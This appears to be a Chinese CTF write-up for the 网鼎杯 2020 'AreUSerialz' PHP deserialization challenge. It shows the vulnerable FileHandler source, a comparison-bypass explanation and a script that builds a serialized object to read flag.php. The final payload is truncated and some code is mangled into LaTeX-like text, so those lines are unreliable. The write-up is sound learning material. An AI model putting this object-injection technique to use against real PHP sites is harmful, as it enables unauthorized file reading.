首页 > 其他分享 >[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

时间:2024-07-26 17:17:41浏览次数:16  
标签:function AreUSerialz res filename process 2020 output 网鼎杯 op

[网鼎杯 2020 青龙组]AreUSerialz

源代码蛮多的,但是题目没有那么复杂

题目

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

关键的位置是:

__destruct()函数会强制将op置1

而只有当op等于2的时候,process()函数才会执行

$res = \(this->read(); \)this->output($res);

从而才会执行read()

\(res = file_get_contents(\)this->filename);

然后才就得到对应的文件

所以我们只要能保证op为2,且filename=flag.php就可以获得flag

经过观察,发现__destruct()函数是===强比较,需要值和类型都相等

if($this->op === "2")

而process则是==弱比较,只需要数值相等,所以将op=2(数字),就可以使op==="2"不相等,而op=="2"是相等的。

于是构造

<?php
class FileHandler {
	public $op=2;
	public $filename="flag.php";
}
$a=new FileHandler;
echo(serialize($a));
?>

获得序列化后的代码

O:11:"FileHandler":2:

得到payload:

url/?str=O:11:"FileHandler":2:

查看源代码得到flag

标签:function,AreUSerialz,res,filename,process,2020,output,网鼎杯,op
From: https://www.cnblogs.com/bolerat/p/18325813

相关文章

  • 2020 中国独立开发者生存现状调研报告
    前言谁是独立开发者?其实独立开发者归属于自由职业者,是自由职业者中从事和软件开发相关工作的一支人群,更严格来说一般是“从产品立项、设计、开发、推广、到盈利闭环全部独立完成的人”。独立开发者往往是一个人,或者是3人左右的小型团队,他们可能有本职工作也可能完全投入到独立......
  • [NPUCTF2020]验证
    [NPUCTF2020]验证......
  • Luogu6775 [NOI2020] 制作菜品 做题记录
    link主要记录一下做题过程。首先题目看上去很不好处理,考虑从部分分的角度入手。先看\(m=n-1\)的部分分,这个性质让我们很容易想到一棵树。考虑把原材料当作点,菜品当作边,一道连接\((x,y)\)的菜品表示只能用编号为\(x\)和\(y\)的原材料。对于这棵树,我们每次选择一个叶子,......
  • [BJDCTF2020]EasySearch(ssi注入)
    看题目就知道藏的有东西挨个试试发现在index.php.swpvim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为index.php.swp,第二次退出后,缓存文件......
  • [BJDCTF2020]Easy MD5
    [BJDCTF2020]EasyMD5Step1看源代码没线索,用burp抓包看一下:发现提示,发现输入的是password要构造使password=’or‘1的形式使之形成永真的语句md5($pass,true)应该就是将pass的值md5加密后成十六进制转换成字符这时候276f7227就是十六进制的'or',只要MD5加密成276f7227+(......
  • [GYCTF2020]Ez_Express 1
    原型链污染,信息收集,命令执行,代码审计这个题我在做之前学了p神的教程https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html打开后可以发现是一个登录界面,之后我们先进行信息收集找到了www.zip这个文件,然后得到了源码index.jsvarexpress=req......
  • [MRCTF2020]Ezpop(反序列化)
    打开题目即可得源码Welcometoindex.php<?php//flagisinflag.php//WTFISTHIS?//LearnFromhttps://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//AndCrackIt!classModifier{protected$var......
  • [MRCTF2020]套娃 1
    目录第一层$_SERVER函数的用法第二层第三层第一层查看源码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!......
  • [BJDCTF2020]Cookie is so stable
    打开题目是三个页面Hint中有提示flag页面有个输入框抓包观察cookie发现多了一user就是回显内容然后猜测有模板注入漏洞就开始尝试'时代少年团队长乌萨奇的颜值一直被质疑'的文章内容如何判断对方的模板?常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go......
  • [WUSTCTF2020]朴实无华(命令执行)
    请求头问题去查了一下资料了解了一下没有什莫用robots.txt中有东西假flag但是请求头里有重要消息访问页面/fl4g.php<imgsrc="/img.jpg"><?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level1if(isse......